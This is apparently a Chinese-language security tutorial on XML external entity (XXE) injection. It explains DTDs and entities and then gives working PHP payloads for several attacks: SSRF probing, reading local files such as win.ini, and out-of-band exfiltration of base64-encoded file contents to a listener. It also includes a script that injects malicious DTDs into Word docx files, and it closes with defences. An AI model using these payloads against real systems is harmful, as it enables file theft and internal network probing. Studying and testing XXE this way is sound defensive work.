WHAT

XML

XML是类似HTML的标记语言,但它们有所不同。

DTD

XML元素以形如 <tag>foo</tag> 的标签开始和结束,如果元素内部出现如< 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义了五个实体引用,即用&lt; &gt; &amp; &apos; &quot; 替换 < > & ' "

实际上,实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。DTD是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。

DTD有两种形式:

/*
内部 DTD:<!DOCTYPE 根元素 [元素声明]>
外部 DTD:
<!DOCTYPE 根元素 SYSTEM "存放元素声明的文件的URI,可以是本地文件或网络文件" [可选的元素声明]>
<!DOCTYPE 根元素 PUBLIC "PUBLIC_ID DTD的名称" "外部DTD文件的URI">
( PUBLIC表示 DTD文件是公共的,解析器先分析 DTD名称,没查到再去访问 URI)
*/

ENTITY

我们可以在元素声明中自定义实体,和DTD类似也分为内部实体和外部实体,此外还有普通实体和参数实体之分:

/*
声明:
<!DOCTYPE 根元素 [<!ENTITY 内部普通实体名 "实体所代表的字符串">]>
<!DOCTYPE 根元素 [<!ENTITY 外部普通实体名 SYSTEM "外部实体的URI">]>
<!DOCTYPE 根元素 [<!ENTITY % 内部参数实体名 "实体所代表的字符串">]>
<!DOCTYPE 根元素 [<!ENTITY % 外部参数实体名 SYSTEM "外部实体的URI">]>
除了 SYSTEM关键字外,外部实体还可用 PUBLIC关键字声明。
引用:
&普通实体名; //经实验,普通实体既可以在 DTD中,也可以在 XML中引用,可以在声明前引用,可以在在元素声明内部引用
%参数实体名; //经实验,参数实体只能在 DTD中引用,不能在声明前引用,不能在元素声明内部引用
*/

可能造成的危害

HOW

URI支持的协议:

利用引用外部DTD发起网络请求

test.php 使用外部DTD对XML进行验证,如果XML可以注入且DTD的URI可控,就有发起网络请求的可能。在192.168.1.2:80 有Web服务而192.168.1.3:80 没有,DTD的URI不同时访问 test.php 就会得到不同的响应。

test.php

<?php
// error_reporting(0);
$dom = new DOMDocument;
$dom->load('with_external_dtd.xml');
if ($dom->validate()) {echo "validated!\n";}
else echo "invalid!\n";

with_external_dtd.xml

<?xml version="1.0"?>
<!-- 很快返回 validated! -->
    <!DOCTYPE note SYSTEM "external_dtd">
<!-- 很快返回 invalid! -->
    <!-- <!DOCTYPE note SYSTEM "http://192.168.1.2/"> -->
<!-- 很长一段时间才返回 invalid! -->
    <!-- <!DOCTYPE note SYSTEM "http://192.168.1.3/"> -->
<note>Valar Morghulis</note>

external_dtd

<!ELEMENT note (#PCDATA)>

利用普通XXE读取文件/访问网络

<?php
$s=<<<string
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">]>
<c>&b;</c>
string;
echo simplexml_load_string($s);

利用参数XXE读取文件/访问网络

<?php
$s=<<<string
<!DOCTYPE a [<!ENTITY % b SYSTEM "http://127.0.0.1:8088/evil.txt">%b;]>
<c>&d;</c>
string;
echo simplexml_load_string($s);
// evil.txt :  <!ENTITY d SYSTEM "php://filter/convert.base64-encode/resource=C:/Windows/win.ini">

XXE OOB

如果没有回显也没关系,可以利用外部参数实体将文件内容发送出去。这里注意参数实体引用 %file; 必须放在外部文件里,因为根据这条 规则 ,在内部DTD里, 参数实体引用只能和元素同级而不能直接出现在元素声明内部,否则parser会报错: PEReferences forbidden in internal subset 。这里的internal subset 指的是中括号[] 内部的一系列元素声明,PEReferences 指的应该是参数实体引用 Parameter-Entity Reference

感觉在技术方面英文的表达力更强,这种情况叫做 fetch external parsed entities using PEReference 更好理解。

<?php
$s=<<<string
<!DOCTYPE a [<!ENTITY % xxe SYSTEM "http://127.0.0.1:8088/xxe.txt"> %xxe;]>
string;
simplexml_load_string($s);
/* // http://127.0.0.1:8088/xxe.txt:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=C:/Windows/win.ini">
<!ENTITY % x '<!ENTITY &#37; send SYSTEM "http://127.0.0.1:8088/%file;">'> %x;
%send;
*/

真实案例

发现XXE

尝试注入特殊字符,使XML失效,引发解析异常,明确后端使用XML传输数据。

尝试利用实体和DTD。

生成恶意Word文档

上面提到的多个案例都需要用到自定义DTD的docx文件,有个名为 XXEGen 的在线网站可以方便地生成和监听(也可自定义监听地址),从而方便快速地测试XXE是否存在,但目前看来还不支持自定义DTD,如果需要用到OOB之类的技术,可能就不太方便。

所以我写了个小脚本,可以用来生成一个正常docx文件,然后注入自定义的DTD和实体引用。另外新版的word软件默认禁用DTD,trigger 函数还可以本地测试下word文件是否有问题。

其实修改 docx 文件的原理很简单,手动也可以做。解压 demo.docx 到 demo文件夹 ,直接修改 demo/word/document.xml 文件内容,全选 demo 文件夹中的文件,使用 7zip 的仅存储方式压缩成 demo2.docx 即可。

<?php
// by https://github.com/findneo
function genword($filename,$filecontent){
    $word = new COM("word.application") or die("Unable to instantiate Word");
    $word->Visible = 0;//保持程序在后台运行
    $word->Documents->Add();//新建Word文档
    $word->Selection->TypeText($filecontent);//写入指定内容
    $word->Documents[1]->SaveAs(getcwd()."/".$filename);//保存到指定路径
    $word->Quit();//退出程序
}

function poisonWord($filename,$flag,$dtd,$entity_reference) {
    $zip = new ZipArchive();
    $zip->open($filename);
    $xml=$zip->getFromName('word/document.xml');
    $prolog='<?xml version="1.0" encoding="UTF-8" standalone="yes"?>';
    $evilxml=str_replace([$prolog,$flag],[$prolog.$dtd,$flag.$entity_reference],$xml);//构造恶意XML
    $zip->deleteName('word/document.xml');
    $zip->addFromString("word/document.xml",$evilxml);//更新docx文件
    $zip->close();
}

function trigger($filename){
    $zip = new ZipArchive();
    $zip->open($filename);
    $xml=$zip->getFromName('word/document.xml');
    $doc_xml = new DOMDocument();
    $doc_xml->loadXML($xml); //加载word文档
    $zip->close();
    return $doc_xml->textContent; //读取文档内容
}

//在这里定义想要添加的DTD内容和想要在XML中引用的实体
$dtd='<!DOCTYPE ANY [<!ENTITY xxe  SYSTEM "http://127.0.0.1:8088/?findneo"><!ENTITY int "XXE">]>';
$entity_reference="&xxe; &int; IS EXCITING!";

$name="demo.docx";//生成文件的文件名
$flag="Across the Great Wall we can reach every corner in the world.";//文件内容,实体在该内容附近引用。
genWord($name,$flag);//生成一个指定内容和文件名的正常docx文件
poisonWord($name,$flag,$dtd,$entity_reference);//向正常文件注入DTD和实体引用,生成恶意文件
echo trigger($name);//加载文件,测试效果

//若程序不能正常运行,可尝试在 php.ini 末尾添加以下路径
//extension="php_com_dotnet.dll 路径"; extension="php_mbstring.dll 路径"
?>

防御

彻底禁用DTD是最好的,退一步,禁用外部实体/外部DTD也可以。具体参考 XML_ExternalEntity(XXE)_Prevention_Cheat_Sheet_Prevention_Cheat_Sheet) 。

PHP及其他语言或框架,是否默认解析外部实体,解析方式和在特定场景下的解析表现,与其使用的 libxml2 版本有关(如果是基于libxml2的话),也与XML解析器及其配置有关。就PHP而言,libxml2 Version 可以在phpinfo里看,本文使用的是2.7.8

这可能是一个误解的结果。

在slimphp2中,官方是对这块进行一定处理了(。。。一些代码。。。)不知为何在3.0版本中官方就无视这个问题了。 我猜可能有两个原因:

1.官方注意到了这个问题,但认为3.0版本需求的php版本在5.5以上,而错以为5.5以上的php就已经不存在XXE的隐患了。但实际上XML外部实体的解析,和php版本并无关系,而是和编译时的libxml库版本有关。

2.官方尚未注意到这个问题。

感觉前者的可能性较大。

—— wooyun-2015-0156208

可以结合 change logGitHub commit 了解 libxml2 各版本具体改动。

可以看到与主题较相关的有:

v2.9.5: Sep 04 2017
    Security:Detect infinite recursion in parameter entities (Nick Wellnhofer)
    Prevent unwanted external entity reference
v2.9.2: Oct 16 2014
    Security:
    Fix for CVE-2014-3660 billion laugh variant (Daniel Veillard),
    CVE-2014-0191 Do not fetch external parameter entities (Daniel Veillard)
2.9.1: Apr 19 2013
    Activate detection of encoding in external subset
2.9.0: Sep 11 2012
    Do not fetch external parsed entities

扩展阅读

源链接

Hacking more

...